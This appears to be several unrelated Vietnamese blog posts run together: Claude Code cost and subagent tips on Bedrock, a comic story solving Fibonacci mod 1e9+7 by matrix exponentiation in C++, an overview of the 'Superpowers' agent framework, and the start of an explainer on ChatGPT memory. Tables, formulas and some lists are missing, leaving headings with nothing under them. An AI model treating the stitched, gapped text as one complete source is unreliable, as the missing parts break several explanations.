Ngay từ câu hỏi thứ 2, caching đã có lợi. Session càng dài, context prefix càng lớn (nhiều file), lợi càng rõ — vì overhead Cache Write là fixed cost, còn savings tích lũy mỗi request.

Mặc định TTL là 5 phút. Nếu hay bị ngắt giữa chừng, có thể bật TTL 1 tiếng (tính phí cao hơn một chút):

export ENABLE_PROMPT_CACHING_1H=1

Mình test thực tế một session 17 phút với Sonnet:

Total: $1.00

Cache Read:   1,800,000 tokens  →  $0.54  (54%)  ← phần lớn!
Output:          16,700 tokens  →  $0.25  (25%)
Cache Write:     54,800 tokens  →  $0.21  (21%)  ← "phí khởi tạo"
Input:               43 tokens  →  $0.00   (0%)

Nếu không có caching, 1.8M tokens đó sẽ tốn $5.40 thay vì $0.54. Tiết kiệm 90% — không phải con số marketing.

Bài học lớn nhất: 1 session 2 giờ rẻ hơn rất nhiều so với 4 session 30 phút. Mỗi session mới = Cache Write lại toàn bộ.

Ngày thứ tư: Chọn model — không phải cứ đắt là tốt

Sau khi hiểu cách tính phí, mình bắt đầu thử 3 models.

Một điểm hay: Sonnet 4.6 cùng giá với Sonnet 4.5 nhưng context tăng từ 200K lên 1M, chất lượng cải thiện rõ rệt. Không có lý do dùng Sonnet 4.5 nữa.

Sau vài ngày thử, mình đúc kết ra pattern:

• Haiku — tìm kiếm file, giải thích đoạn code, review 1-2 files, generate boilerplate. Bắt đầu "struggle" khi task yêu cầu hiểu dependency qua nhiều files hoặc refactor logic phức tạp — output nhìn đúng nhưng miss cross-file context.
• Sonnet — daily coding, tạo feature, viết tests, refactor vừa phải, debug hầu hết bugs. Context 1M tokens đủ load cả codebase 100K dòng. Giới hạn ở bugs cực kỳ subtle (race conditions ẩn, off-by-one trong algorithm phức tạp) hoặc khi cần architectural reasoning dài hơi.
• Opus — debug performance bottleneck khó, thiết kế distributed system, phân tích security vulnerability, review architectural decision nhiều trade-off. Đắt ~5x Sonnet. Mình dùng 1-2 lần/ngày cho những task thực sự cần deep reasoning, không phải default.

Claude Code cho phép đổi model giữa session mà không mất cache:

/model haiku     # task nhẹ
/model sonnet    # daily coding
/model opus      # task phức tạp

Với Opus tốn kém, pattern thực tế là: dùng /model opus chỉ cho bước lên kế hoạch hoặc debug phức tạp, sau đó /model sonnet để code. Không cần Opus đứng đó cả session.

Ngày thứ năm: Multi-agent — lúc mọi thứ thay đổi

Đây là ngày mình thấy "wow" thật sự. Claude Code cho phép tạo subagents — AI assistant chuyên biệt, mỗi agent có context riêng, tools riêng, model riêng.

Tại sao cần? Single agent với task phức tạp có 1 vấn đề cố hữu: context bị "ô nhiễm" dần. Output verbose từ bước review lẫn vào context của bước code, chuyển qua lại giữa các task khiến chất lượng giảm, và conversation dài thì model bắt đầu "quên" thông tin từ đầu session.

Subagent giải quyết bằng cách cho mỗi task một context window riêng biệt, không bị ô nhiễm bởi task khác:

┌──────────────────────────────────────────────────────────┐
│              Main Agent (Orchestrator)                     │
│              Model: Sonnet | Context: 1M tokens           │
│              Nhận request → Delegate → Tổng hợp           │
├──────────┬──────────────┬──────────────┬─────────────────┤
│          │              │              │                  │
│   ┌──────▼──────┐ ┌─────▼──────┐ ┌─────▼───────┐        │
│   │   Explore   │ │  Reviewer  │ │    Test     │        │
│   │   (Haiku)   │ │  (Haiku)   │ │  Generator  │        │
│   │             │ │            │ │  (Sonnet)   │        │
│   │ Read-only   │ │ Read-only  │ │ Read+Write  │        │
│   │ 200K ctx    │ │ 200K ctx   │ │ 1M ctx      │        │
│   └─────────────┘ └────────────┘ └─────────────┘        │
│                                                            │
│   ⚠️ Subagent KHÔNG THỂ spawn subagent (no nesting)      │
└──────────────────────────────────────────────────────────┘

Tạo custom agent

Chỉ cần 1 file markdown trong .claude/agents/:

---
name: code-reviewer
description: Reviews code for quality, security, and best practices
model: haiku
tools: [Read, Grep, Glob]
---

You are a senior code reviewer. Check for:
- Code quality and readability
- Security issues (hardcoded secrets, SQL injection, XSS)
- Error handling completeness

Format: ✅ Good | ⚠️ Warning | ❌ Critical

Trường description quan trọng hơn mình nghĩ ban đầu — đây là cơ chế routing. Claude đọc description để quyết định có delegate task này không. Viết tệ thì agent không bao giờ được gọi:

# ❌ Quá vague — Claude ít khi delegate
description: Reviews code

# ✅ Rõ routing condition
description: Use when the user asks to review, check, audit, or inspect
  existing code for quality, bugs, or security issues. Do NOT use for
  writing new code or adding features.

Description tốt cần 2 phần: (1) khi nào dùng và (2) khi nào không dùng. Thiếu phần (2) dễ dẫn đến agent bị trigger sai — reviewer agent đi viết code mới thì không ai muốn. Nếu cần trigger explicit thay vì auto-delegate:

> Use the code-reviewer agent to review src/app.js

Cơ chế tool permission ở đây quan trọng — đây là least privilege cho AI:

Read-only agent (reviewer):     tools: [Read, Grep, Glob]
Agent sửa code (debugger):      tools: [Read, Grep, Glob, Edit]
Agent tạo file (test writer):   tools: [Read, Grep, Glob, Write]
Full access (cẩn thận):         tools: [Read, Grep, Glob, Edit, Write, Bash]

Agent review chỉ được đọc, không sửa được code — an toàn hơn nhiều.

Foreground vs Background

Subagent có 2 mode chạy:

• Foreground (default): main agent dừng chờ kết quả. Dùng khi bước tiếp phụ thuộc vào output.
• Background: chạy song song, main agent tiếp tục làm việc khác. Nói "run this in the background" là Claude Code tự xử lý.

Benchmark — con số nói lên tất cả

Theo nghiên cứu của Anthropic (xem "Building Effective Agents" trong References):

Token tăng 15x nhưng task completion gần gấp đôi. Và nhờ Prompt Caching, phần lớn tokens tăng thêm là cache read (rẻ), nên chi phí thực tế không tăng tuyến tính.

Demo: Một session thực tế

Mình demo flow làm việc thực tế để các bạn hình dung:

# Mở Claude Code
$ claude

# Yêu cầu tạo API
> Tạo Express API: GET/POST/DELETE /users, validation, error handling, tests

# Claude Code tự động tạo 4 files, 287 dòng
# Check chi phí
> /cost
Session cost: $0.47 | 8 phút

# Delegate review cho subagent
> Delegate to code-reviewer to review all files

⏺ code-reviewer (Haiku)
  ✅ Error handling: try-catch đầy đủ
  ⚠️ Security: thiếu rate limiting
  ❌ No helmet middleware
⎿ Done (8.1s, +$0.15)

# Đổi model cho task nhẹ
> /model haiku
> Thêm helmet middleware → Done (+$0.02)

# Đổi lại Sonnet cho refactor
> /model sonnet
> Refactor error handling thành middleware riêng → Done (+$0.25)

# Tổng session
> /cost
Total: $0.89 | 22 phút | 6 files | 342 lines
  Sonnet: $0.58 (coding + refactor)
  Haiku:  $0.31 (simple tasks + review)

22 phút, 6 files, có cả review và refactor, chưa đến $1.

Sau 1 tuần: Chi phí thực tế và tips

Ước tính hàng tháng (22 ngày)

Tips đúc kết sau 1 tuần sử dụng

Session dài = rẻ. Tip quan trọng nhất. Mở Claude Code, hỏi 15-20 câu liên tục rồi tắt. Đừng hỏi 1 câu, tắt, mở lại — mỗi lần mở là Cache Write lại.

Batch tasks tương tự. Review 3 files trong 1 session: 1 Cache Write + 2 Cache Read, rẻ hơn nhiều so với 3 session riêng.

Prompt cụ thể. "Review main.py, liệt kê bugs và fix" thay vì "xem qua file này giúp tôi". Output đắt 5x input, prompt cụ thể giúp output ngắn hơn.

.claudeignore để loại các thư mục không cần thiết. Context nhỏ hơn = Cache Write ít hơn = rẻ hơn. Tạo file .claudeignore ở root project:

node_modules/
dist/
build/
.git/
coverage/
*.lock
*.log
*.min.js
*.map

Syntax giống .gitignore. Claude Code đọc file này và bỏ qua hoàn toàn những path đó khi nạp context.

/compact khi conversation dài. Nén context, tiết kiệm token cho câu hỏi sau.

Budget Alert — setup ngay từ đầu, đừng đợi cuối tháng mới biết:

aws budgets create-budget \
  --account-id $(aws sts get-caller-identity --query Account --output text) \
  --budget '{
    "BudgetName": "Bedrock-Monthly",
    "BudgetLimit": {"Amount": "100", "Unit": "USD"},
    "BudgetType": "COST",
    "TimeUnit": "MONTHLY",
    "CostFilters": {"Service": ["Amazon Bedrock"]}
  }'

Nhìn lại 1 tuần

Setup mất 15 phút. Hiểu cách tính phí mất 1 ngày. Tối ưu multi-agent mất thêm 1 ngày nữa. Mấy đứa trong team ban đầu hơi skeptical — "AI mà setup nhiều vậy?" — nhưng sau khi thử 1 buổi thì không ai hỏi thêm nữa.

Nếu chỉ nhớ 1 thứ từ bài này: đừng mở nhiều session ngắn. Cache Write là khoản "phí vào cửa" — trả 1 lần rồi hỏi thả ga. Phần còn lại, chọn model và tạo agent, là tối ưu thêm, không phải điều kiện bắt buộc.

Chi phí thực tế với mix 60/40 Haiku/Sonnet khoảng $90/tháng/người. Nếu mỗi ngày tiết kiệm được 30 phút code review thì ROI tính trong vài tuần — và đó là ước tính thận trọng.

Tài liệu tham khảo

• Claude Code on Amazon Bedrock — Anthropic Docs
• Amazon Bedrock Pricing
• Prompt Caching — Anthropic Docs
• Claude Code Sub-agents
• Building Effective Agents — Anthropic Research
• Bedrock Cross-Region Inference
• Claude Code IDE Integrations

Dãy số Fibonacci, tỉ lệ vàng, những cụm từ này đã không còn xa lạ trong giới Toán học, Kinh tế, Nghệ thuật hay Lập trình.

Dãy Fibonacci là dãy vô hạn các số tự nhiên bắt đầu bằng hai phần tử 0 hoặc 1 và 1, các phần tử sau đó được thiết lập theo quy tắc mỗi phần tử luôn bằng tổng hai phần tử trước nó:

Chắc hẳn mọi người ai cũng đã nghe qua bài toán đàn thỏ gắn liền với dãy số này, và sự xuất hiện của tỉ lệ vàng φ ≈ 1.618, con số mà xuất hiện hầu như trong khắp mọi nơi trong tự nhiên.

Khi nói về dãy số này, có vô vàn điều thú vị và hay ho để khám phá về nó, nhưng những chủ đề đó có lẽ sẽ phải hẹn vào dịp khác.

Hôm nay, có một cậu học sinh, hoặc là cậu sinh viên, hay chỉ đơn thuần là một cậu trai, hãy tạm thời gọi cậu là B. B là một người tò mò, hoặc không, cậu luôn luôn lạc quan, hoặc ảm đạm, và cả quyết, hoặc không thể chắc chắn về điều gì. B là ai, chúng ta không thể chắc chắn được nhưng điều đó thật ra không quan trọng vì cho dù B là ai thì chắc chắn rằng ít người đọc và quan tâm đến. Dù vậy có một điều rất rõ, B rất dở tính toán.
B đang tìm tòi học hỏi về dãy số Fibonacci và cậu muốn biết số Fibonacci thứ n sau khi chia lấy dư cho 1000000007. Một bài toán đơn giản. Nhưng vì não cậu không có nhiều nếp nhăn nên cho dù cậu có cố gắng tính toán thế nào cũng bị sai sót.

Bạn, là một lập trình viên và bạn biết C++, hùng hồn đến trước mặt B và tuyên bố:

#include <iostream>
using namespace std;

const int MOD = 1e9 + 7;

int main() {
    int n = 1000000;
    long long a = 0, b = 1;
    for (int i = 2; i <= n; i++) {
        long long c = (a + b) % MOD;
        a = b;
        b = c;
    }
    cout << "F(" << n << ") mod " << MOD << " = " << b << endl;
    return 0;
}

F(1000000) mod 1000000007 = 918091266

Splendid! Bạn lôi ra một đoạn code kinh điển mà bất cứ người học sinh, sinh viên nào học về thuật toán Quy hoạch động đều biết đến. Một vòng lặp duy nhất để tính dần dần số Fibonacci từ 1 đến n bằng chính công thức định nghĩa nên dãy số: F(n) = F(n - 1) + F(n - 2). Với độ phức tạp về thời gian là O(n), nó có thể tính toán chính xác số Fibonacci thứ 1000000 mà chưa cần tới 1 giây.

Bạn tuyên bố đoạn code này trước mặt B, cảm thấy mình như một đấng cứu thế giúp đỡ B, một người đang gặp khó khăn trong cuộc sống trong việc tính toán số Fibonacci, và kì vọng rằng B nhìn bạn với những đôi mắt lấp lánh và biết ơn bạn với cả trái tim.

Và cứ như vậy, B đáp lại:

Ah, bạn giỏi á, 2 năm trước mình cũng từng code một đoạn như vậy và tính ra được số Fibonacci thứ 1000000. Mình cảm ơn tấm lòng của bạn nhưng số Fibonacci mình đang tìm là số Fibonacci thứ 1000000000000000000 kia.

...

Có lẽ bạn đã quên mất rằng chính mình đã nói rằng đó là "đoạn code kinh điển mà bất cứ người học sinh, sinh viên nào học về thuật toán Quy hoạch động đều biết đến". B cũng là một người học ở chung trường, chung ngành và chung lớp với bạn, đó là lí do tại sao bạn lại thấy B đang gặp khó khăn và chạy tới giúp đỡ ngay từ ban đầu. Và đương nhiên, B phải biết tới đoạn code này, và đương nhiên, ai ở trong lớp này cũng biết.

Bạn đứng ở đó, cảm thấy mọi ánh mắt đều hướng nhìn về bạn. Thời gian như đang ngưng đọng lại, đây là khoảnh khắc căng thẳng nhất trong cuộc đời của bạn. Trong 21 nano giây nữa, mọi người trong lớp sẽ nhận thức ra được bộ dạng ra vẻ "đấng cứu thế" của bạn. Sau khi 21 nano giây kết thúc, hoặc là bạn sẽ trở thành một cây hài cho cả lớp và cảm thấy nhục nhã suốt phần đời còn lại của bạn, hoặc là bạn thật sự trở thành một đấng cứu thế và dùng một đoạn code mà không phải học sinh, sinh viên nào đều biết tới khi học Quy hoạch động.

Nhưng bạn biết rõ, bạn không hề biết tới đoạn code đó. Bạn là con mèo Schrödinger nhưng chỉ với một khả năng duy nhất khi chiếc hộp đen được mở ra sau 21 nano giây. Con mèo đã chết. Bạn biết rõ rằng mình cần phải làm gì trong hoàn cảnh này. Trong 21 nano giây, bạn phải tạo ra được khả năng con mèo còn sống.

Với những tế bào não bạn đã dành dụm từ khi được sinh ra, bạn bắt đầu nghĩ.

21 nano giây

Chỉ với độ phức tạp thời gian O(1)...

Trong lớp Kinh tế, bạn đã được học một công thức có liên quan tới tỉ lệ vàng để tính xấp xỉ số Fibonacci.

Là công thức Binet. Chính là nó.

Chỉ cần ráp công thức vào là ra mà không cần phải làm gì nhiều. Độ phức tạp thời gian là O(1) thì muốn tính số Fibonacci số bao nhiêu mà chẳng được?

Đó là những gì bạn đã suy nghĩ. Nhưng rồi bạn nhận ra: bạn phải tính số Fibonacci thứ n sau khi chia lấy phần dư cho 1000000007.

Nếu như nhìn vào công thức, để tính toán được phải áp dụng modulo và nghịch đảo modulo. Và nó không hề dễ chịu một chút nào.

Còn nếu cứ tính thẳng bằng số thực rồi làm tròn, sai số dấu phẩy động sẽ lặng lẽ tích tụ, khi n lớn, con số cuối cùng lệch hoàn toàn so với đáp án đúng.

Bạn phải tìm một cách khác.

17 nano giây

Ma trận. Ma trận á?

Bạn đang suy nghĩ tới ma trận. Không phải là ma trận trong bộ phim mà có một gã đàn ông mặc bộ vest màu đen đột nhiên giơ tay lên, một cách thần kì nào đó chặn hàng loạt viên đạn đang bay tới, mà bạn đang nghĩ tới ma trận trong môn Đại số tuyến tính. Không phải là một ma trận ngẫu nhiên nào, bạn đang nghĩ tới một ma trận đột nhiên xuất hiện trong đầu bạn bằng một cách thần kì nào đó:

Tại sao lại là ma trận này? Bạn thật sự không biết tại sao mình lại nghĩ tới một ma trận ngẫu nhiên này, khi bạn có thể dành thời gian để áp dụng các thuật toán mà các chuyên gia sử dụng thì bạn lại suy nghĩ ra một ma trận hoàn toàn ngẫu nhiên và cụ thể này mà không có tác dụng gì cả? Thật là phí thời gian...

15 nano giây

Bạn đã phí thời gian.

Bạn không kịp suy nghĩ gì. Nhưng với ma trận bạn đã nghĩ ra, bạn quyết định dùng nó để nhân với một vector.

...và lại tiếp tục nhân nó với ma trận đó.

...và bạn cứ tiếp tục.

Bạn nhận ra một thứ gì đó khá quen thuộc. Đúng hơn, các con số, và dãy các con số, bạn cảm thấy chúng rất quen thuộc. Đúng rồi, nó là dãy số Fibonacci!

10 nano giây

Bạn tiếp tục suy nghĩ, bạn suy nghĩ ở mức tổng quát hơn. Bạn đang tưởng tượng việc nhân một vector, có 2 phần tử, phần tử đầu tiên là số Fibonacci thứ n - 1 và phần tử thứ 2 là số Fibonacci thứ n. Bạn thử nhân vector này với ma trận đó.

Bạn nhận ra ngay, nếu tiếp tục...

Nói cách khác, nếu bạn làm thế này:

Thì bạn sẽ tính được số Fibonacci thứ n!

6 nano seconds

Bạn cần một thuật toán để tính được lũy thừa bậc n - 1 của ma trận trên với độ phức tạp thời gian thấp. Ít nhất là phải thấp hơn O(n), nếu không công sức trong 15 nano giây lúc nãy trở thành công cốc. Một thuật toán với độ phức tạp về thời gian O(logn) thì sao? Thuật toán có độ phức tạp O(logn)? Segment Tree? tìm kiếm nhị phân? Chia để trị?...

4 nano giây

Chia để trị!

Bạn để ý tới một điều:

Để tính lũy thừa ma trận bậc k, bạn cần tính lũy thừa ma trận bậc k/2. Để tính lũy thừa ma trận bậc k/2, bạn cần tính lũy thừa ma trận bậc k/4...

1 nano giây

Với kĩ năng anh hùng bàn phím của bạn...

#include <iostream>
#include <assert.h>
#include <vector>
using namespace std;

#define LL long long
#define Matrix vector<vector<LL>>

const int MOD = 1e9 + 7;

Matrix identity(int dim) {
    Matrix I(dim, vector<LL>(dim, 0));
    for (int i = 0; i < dim; i++)
        I[i][i] = 1;
    return I;
}

Matrix mulMod(Matrix A, Matrix B, int MOD) {
    assert(A.size() != 0);
    assert(B.size() != 0);
    assert(A[0].size() == B.size());

    int n = A.size(), m = B[0].size(), k = B.size();
    Matrix C(n, vector<long long>(m, 0));

    for (int i = 0; i < n; i++)
        for (int j = 0; j < m; j++)
            for (int p = 0; p < k; p++)
                C[i][j] = (C[i][j] + A[i][p] * B[p][j]) % MOD;

    return C;
}

Matrix matPowMod(Matrix A, LL k, int MOD) {
    assert(A.size() != 0);
    assert(A.size() == A[0].size());
    int dim = A.size();
    if(k == 0) {
        return identity(dim);
    }
    if(k == 1) {
        return A;
    }
    
    Matrix B = matPowMod(A, k / 2, MOD);
    Matrix squaredB = mulMod(B, B, MOD);
    if(k % 2 == 0) {
        return squaredB;
    }
    
    return mulMod(squaredB, A, MOD);
}

int main() {
    LL n = 1000000000000000000LL;

    Matrix trans = {
        {0, 1},
        {1, 1}
    };

    Matrix powered = matPowMod(trans, n - 1, MOD);

    Matrix init = {{0, 1}};

    // [0, 1] * trans^(n-1) = [F(n-1), F(n)]
    Matrix result = mulMod(init, powered, MOD);

    cout << "F(" << n << ") mod " << MOD << " = " << result[0][1] << endl;
    return 0;
}

F(1000000000000000000) mod 1000000007 = 209783453

...

...

...

B là ai? Điều đó có thật sự quan trọng không? Một ngày đẹp trời, một ngày chắc chắn không phải hôm nay, có thể không phải ở quá khứ, có thể không phải ở tương lai, cậu học sinh, hay cậu sinh viên, hay chỉ đơn thuần là một cậu trai, đã giải một bài toán: Problem - 1513C - Codeforces. Đề bài và kết quả kiểm tra được thiết kế để khi chạy với thuật toán đáp án dự kiến của bài toán, nó sẽ tốn gần 1 giây để tính ra kết quả với trường hợp số lớn nhất mà đề bài đã cho. Nhưng, trên bảng điểm, nơi lưu lại dấu vết, hoặc sự ghi nhận kết quả mà những người đã bỏ công sức ra để giải quyết bài toán, tên B cùng với thời gian chạy của thuật toán của cậu ta được ghi rõ trên đó, 0.1 giây. B thật ra không hề giỏi về việc tính toán, nhưng không có nghĩa là cậu chỉ sử dụng sức tính toán của con người của mình. B sẽ nhận ra, hoặc đã nhận ra điều này?

Superpowers là một methodology + skills framework cho AI coding agents với 228k stars trên GitHub. Nó không làm AI "thông minh hơn" — nó làm AI có kỷ luật hơn: bắt buộc hỏi trước khi code, viết spec, lập plan, TDD, review, rồi mới merge. AI có thể chạy autonomous 1-2 tiếng mà không đi lệch kế hoạch.

1. Vấn đề thực tế mà Superpowers giải quyết

Ai dùng Claude Code / Cursor / Codex đều gặp tình huống này:

Insight quan trọng: AI không thiếu intelligence. Nó thiếu discipline. Superpowers bổ sung đúng thứ đó.

2. Superpowers là gì?

Về bản chất, Superpowers là một folder markdown files đóng gói:

• Một software development methodology (phương pháp phát triển phần mềm)
• Một bộ composable skills (kỹ năng có thể kết hợp)
• Một cơ chế auto-activation (tự động kích hoạt theo context)

Điểm khác biệt lớn nhất: Skills trigger tự động. Bạn không cần gõ command đặc biệt. AI tự biết khi nào cần brainstorm, khi nào cần TDD, khi nào cần review.

3. Cài đặt

Superpowers hỗ trợ hầu hết AI coding agents hiện tại:

Cài cho Claude Code (chi tiết):

# Cách 1: Official Marketplace (recommended)
/plugin install superpowers@claude-plugins-official

# Cách 2: Superpowers Marketplace
/plugin marketplace add obra/superpowers-marketplace
/plugin install superpowers@superpowers-marketplace

Cài xong. Không cần config gì thêm. AI tự có Superpowers.

4. Workflow chi tiết — 7 bước từ ý tưởng đến code

5. Demo: Trước và sau khi có Superpowers

Scenario: Thêm authentication cho API

TRƯỚC (Không có Superpowers):

User: "Add JWT authentication to the API"

Claude Code:
→ Cài jsonwebtoken
→ Tạo middleware auth.js
→ Thêm vào tất cả routes
→ Quên test
→ Quên refresh token
→ Quên error handling cho expired token
→ Hardcode secret trong code
→ Bạn phải fix thêm 2 tiếng

SAU (Có Superpowers):

User: "Add JWT authentication to the API"

Claude Code (with Superpowers):

━━━ BRAINSTORMING ━━━
"Mình có vài câu hỏi trước khi bắt đầu:"
- Access token + refresh token hay chỉ access token?
- Token expire sau bao lâu?
- Lưu secret ở đâu? env var?
- Có cần role-based access control không?
- Routes nào public, routes nào protected?

User: "Access + refresh, 15min/7day, env var, 
       có RBAC, /auth/* public còn lại protected"

━━━ DESIGN SPEC ━━━
[Show spec từng phần cho user approve]

━━━ PLAN ━━━
Task 1: Setup JWT config + env vars (2 min)
Task 2: Create auth middleware - test first (3 min)
Task 3: Login endpoint + test (4 min)
Task 4: Refresh token endpoint + test (4 min)
Task 5: RBAC middleware + test (3 min)
Task 6: Apply to routes + integration test (5 min)

━━━ EXECUTE (TDD) ━━━
[Mỗi task: write failing test → implement → pass → commit]

━━━ REVIEW ━━━
✓ All tests pass
✓ No hardcoded secrets
✓ Error handling complete
✓ Ready to merge

6. Bên trong Skills Library

Superpowers gồm 14 skills, chia 4 nhóm:

Skill highlight: Test-Driven Development

Đây là skill "cứng" nhất — AI bị bắt buộc theo quy trình:

Nếu AI viết code trước khi viết test → Superpowers xoá code đó và bắt làm lại đúng quy trình. Không nhân nhượng.

7. Subagent-Driven Development — Phần hay nhất

Đây là tính năng cho phép Claude Code chạy autonomous hàng giờ mà không cần bạn can thiệp:

Mỗi subagent là một "fresh agent" — không có context cũ, chỉ nhận task description rõ ràng. Giống thuê junior engineer: cho brief chuẩn → output chuẩn.

8. Philosophy — Tại sao Superpowers hiệu quả?

4 nguyên tắc cốt lõi:

9. Systematic Debugging — Cách debug có hệ thống

Khi gặp bug, Superpowers enforce quy trình 4 phase:

So với cách AI debug thông thường (đoán → sửa → đoán → sửa), approach này tiết kiệm rất nhiều iterations.

10. Thực tế sử dụng — Tips & Kinh nghiệm

Tip 1: Để AI brainstorm đủ lâu

Nhiều người vội skip phần brainstorming. Đừng. Đây là phần tạo ra sự khác biệt lớn nhất. AI hỏi được những câu mà bạn quên hỏi chính mình.

Tip 2: Review plan kỹ trước khi "go"

Plan là "bản thiết kế" cho AI execution. Plan sai → toàn bộ execution sai. Dành 2-3 phút đọc plan trước khi approve.

Tip 3: Kết hợp với Git Worktrees

Superpowers tự tạo branch riêng cho mỗi feature. Nếu AI đi sai hướng, bạn chỉ cần discard branch — không ảnh hưởng main code.

# Superpowers tự động:
git worktree add ../feature-auth feature/add-auth
# → Workspace riêng, branch riêng
# → Fail? Discard. Không sợ.

Tip 4: Dùng cho task phức tạp, không dùng cho task đơn giản

✓ Phù hợp:
  - Feature mới cần thiết kế
  - Refactor lớn
  - Bug phức tạp nhiều component
  - Migration / Integration

✗ Overkill:
  - Fix typo
  - Rename variable
  - Thêm 1 field đơn giản
  - Format code

11. So sánh với các approach khác

12. Kết luận

Superpowers không phải magic. Nó là engineering discipline được đóng gói thành markdown và auto-enforce bởi AI agent.

Giá trị cốt lõi:

AI coding agent + Superpowers = Junior engineer có SOP chuẩn,
làm việc 24/7, không skip test, không skip review.

3 điều quan trọng nhất mình rút ra sau khi dùng:

1. Discipline > Intelligence — AI đã đủ thông minh. Thiếu kỷ luật mới là vấn đề.
2. Plan trước, code sau — 5 phút planning tiết kiệm 2 tiếng fixing.
3. TDD không phải optional — Khi AI bị ép viết test trước, chất lượng code tăng rõ rệt.

228k stars trên GitHub không phải tự nhiên có. Thử cài và chạy 1 feature — bạn sẽ hiểu tại sao.

Nguồn tham khảo

• GitHub: obra/superpowers — Source code & documentation
• Blog Jesse Vincent — Release announcement
• Discord community — Hỏi đáp & chia sẻ
• Claude Code Documentation — Docs chính thức

ChatGPT Memory hoạt động như thế nào — và cách tự build Memory System cho AI Agent của bạn

Tổng quan

Chắc anh em nào cũng đã gặp cảnh này rồi:

Mở ChatGPT lên, chat một hồi, hỏi đủ thứ về dự án. Rồi đóng trình duyệt. Hôm sau mở lại — con bot nhìn mình như người lạ. "Bạn là ai? Bạn đang làm gì vậy?" (sad)

Xong tự hỏi: Sao nó không nhớ gì cả?

Rồi OpenAI tung ra tính năng Memory — ChatGPT giờ nhớ bạn thích viết TypeScript, nhớ bạn đang build SaaS, nhớ bạn đang dùng Next.js App Router… Mà không cần bạn phải nói lại từ đầu mỗi lần.

Và câu hỏi đặt ra là: Cơ chế đằng sau cái "nhớ" đó là gì? Nó lưu ở đâu? Và nếu muốn build một agent có khả năng tương tự thì phải làm sao?

Bài này mình sẽ đi sâu vào:

1. ChatGPT Memory thật sự hoạt động như thế nào bên dưới?

2. Kiến trúc 4 lớp và 4 loại memory

3. Luồng retrieval từng bước khi user gửi tin nhắn

4. Cách tự build memory system cho AI agent của bạn

5. Privacy controls — phần hay bị bỏ qua

Let's go!

1. ChatGPT "nhớ" bằng cách nào?

Trước khi đi vào kỹ thuật, mình muốn phá bỏ một hiểu lầm phổ biến:

ChatGPT không có bộ nhớ như não người. Nó không "nhớ" theo nghĩa liên tục. Mỗi request gửi lên vẫn là stateless.

Vậy cái "nhớ" đó đến từ đâu?

Hãy tưởng tượng thế này:

Bạn đi khám bác sĩ. Ông ấy không nhớ bạn từng gặp, nhưng trước khi vào phòng khám, y tá đã đưa cho ông ấy tờ hồ sơ ghi rõ: "Bệnh nhân dị ứng penicillin, năm ngoái gãy tay phải, thích hỏi về tác dụng phụ thuốc…"

Bác sĩ đọc tờ hồ sơ đó → nói chuyện với bạn như thể đã quen từ lâu.

ChatGPT Memory hoạt động y hệt như vậy.

Trước khi model nhận tin nhắn của bạn, hệ thống đã nhét vào đầu nó một đống context về bạn dưới dạng system prompt. Cụ thể là 3 phần:

• Model Set Context: Những thông tin cố định về bạn (tên, nghề nghiệp, sở thích…)
• Assistant Response Preferences: Bạn thích được trả lời kiểu gì (ngắn gọn, có code, có ví dụ thực tế…)
• Recent Conversation Content: Tóm tắt từ các cuộc hội thoại gần đây liên quan

→ Model "nhớ" vì nó đọc hồ sơ của bạn, không phải vì nó thật sự có long-term memory.

Đây là lý do tại sao bạn có thể xem và xóa từng memory trong Settings → Personalization → Memory — vì chúng chỉ là văn bản được lưu trong database, không phải gì "huyền bí" trong não model.

2. Kiến trúc 4 lớp bên trong

Nhìn tổng thể, hệ thống memory của ChatGPT (và các AI assistant tương tự) gồm 4 lớp chính:

Lớp 1: User Interface Layer

Phần người dùng nhìn thấy và tương tác được:

• Màn hình quản lý memories (xem, chỉnh, xóa từng item)
• Toggle bật/tắt toàn bộ tính năng Memory
• Chế độ Temporary Chat — chat không lưu gì, như incognito mode của trình duyệt

Đây là lớp mà OpenAI thiết kế rất kỹ để đảm bảo user luôn có quyền kiểm soát.

Lớp 2: Memory Processing Engine

Đây là "bộ não xử lý" — phần phức tạp nhất và ít được nói đến nhất:

• Extraction: Sau mỗi cuộc hội thoại, một LLM nhỏ (extraction model) đọc lại toàn bộ conversation và trích xuất những thông tin đáng lưu. Ví dụ: từ đoạn hội thoại về việc bạn đang build app, nó extract ra "User đang dùng Next.js 14 App Router, deploy trên Vercel"
• Deduplication: Nếu thông tin mới giống với memory đã có, thay vì tạo duplicate, engine sẽ merge hoặc update.
• Conflict Resolution: Bạn từng nói dùng Vue, hôm nay nói dùng React — engine phải xử lý mâu thuẫn. Cách phổ biến: memory mới hơn thường override memory cũ, nhưng cũng có thể merge thành "User đã chuyển từ Vue sang React".
• Indexing: Tạo vector embedding cho mỗi memory để phục vụ semantic search sau này.

Lớp 3: Storage Layer

Nơi thật sự lưu dữ liệu — không phải một database duy nhất mà là nhiều loại storage cho từng mục đích:

Lớp 4: LLM Integration Layer

Lớp ghép nối memory vào prompt context trước khi gửi cho model. Đây là nơi quyết định memory nào được chọn để đưa vào context hiện tại.

Quan trọng nhất là lớp này — vì context window có giới hạn, không thể nhét hết toàn bộ memory vào. Cần có cơ chế chọn lọc thông minh: chỉ lấy những memories liên quan nhất với câu hỏi hiện tại của user.

Cơ chế chọn lọc này thường là kết hợp:

• Semantic similarity (embedding cosine similarity): memory nào nói về chủ đề gần với câu hỏi hiện tại?
• Recency weight: memory gần đây được ưu tiên hơn memory cũ
• Explicit keyword match: nếu user nhắc đến tên project, tên tool cụ thể

3. 4 loại Memory — Không phải tất cả đều giống nhau

Đây là phần nhiều người hay nhầm. Memory không phải một khái niệm đồng nhất. Có 4 loại khác nhau, mỗi loại có cách lưu, cách truy vấn và lifecycle riêng:

Loại 1: User Profile Memory (Persistent Facts)

Ví von: Đây như tờ hồ sơ cá nhân trong ngăn kéo của bác sĩ — thông tin cố định, ít thay đổi, nhưng rất quan trọng để cá nhân hóa.

• Lưu ở: Structured database (SQL, key-value)
• Ví dụ nội dung: tên, nghề nghiệp, stack yêu thích, timezone, ngôn ngữ ưa dùng, sở thích về response style (ngắn gọn vs chi tiết)
• Lifetime: Indefinite — tồn tại cho đến khi user chủ động xóa
• Cập nhật khi: Có thông tin mới rõ ràng hoặc conflict với thông tin cũ

Trong ChatGPT, đây là những gì bạn thấy khi vào Settings → Personalization → Manage Memories. Mỗi item là một "fact" về bạn.

Loại 2: Conversation History (Episodic Memory)

Ví von: Như nhật ký — ghi lại đúng những gì đã xảy ra, theo thứ tự thời gian, kèm timestamp và context.

